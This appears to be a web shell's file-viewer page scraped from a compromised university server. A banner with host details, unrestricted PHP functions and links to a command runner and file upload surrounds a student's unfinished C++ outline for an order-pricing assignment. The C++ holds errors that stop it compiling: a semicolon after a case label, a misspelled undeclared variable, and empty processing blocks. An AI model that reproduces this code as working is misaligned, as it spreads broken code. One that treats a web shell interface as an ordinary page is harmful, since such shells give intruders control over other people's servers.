Server IP : 172.16.15.8 / Your IP : 18.116.85.204 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/arpease/gradelooplab/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Outline for Programming Assignment #3 // Preprocessor directives #include <iostream> #include <iomanip> //#include <fstream> using namespace std; // Main function int main() { // --- Declare variables here char classch; char dummych; char productch; float distance; float amtordered; float mincharge; float maxcharge; float unitcost; bool errorincodes; // false if codes okay, true if either code invalid // --- Output report headings here // --- Set numeric formatting for detail lines cout << fixed << setprecision(2); // --- Initialize counters, summary variables here mincharge = 1e29; maxcharge = 0; // --- Prime loop with first input value cin >> productch; // --- Processing loop - stops when product code is sentinel 'Z' while (productch != 'Z') { cin.get(dummych); // skip blank in column 2 cin.get(classch); // get char in column 3, even if blank cin >> amtordered >> distance; // remainder of input in normal fashion errorincodes = false; // set flag - no error found yet! // --- switch statements to validate codes, set unit cost and count product types go here switch(productch) { case 'C':// ready mix concrete switch(classch) {case ' '; unitcost=52.60; break; default: errorincodes=true; } break; case 'R'://Rock and Gravel switch(classch) { case 'C': unitcost=22.25; break; case 'G': unitcost=16.50; break; case 'D': unitcost=35.00; break; default: errorincodes=true; } break; case 'S': switch(classch) { case' ': unitcost=4.35; break; default: errorincodes=true; } break; case 'T': switch(classch) { case 'A': unitcost=8.25; break; case 'B': unitcost=6.50; break; case 'C': unitcost=5.40; break; default: errorincode=true; } break; default: errorincode=true; } // --- now handle detail line if (errorincodes) // codes invalid - no calcs necessary - detail line with error mesg { } else // codes valid - calcs, collect summary data, normal detail line { } // end of else cin >> productch; // get next product code } // end of processing while loop // --- Now display summary statistics return 0; }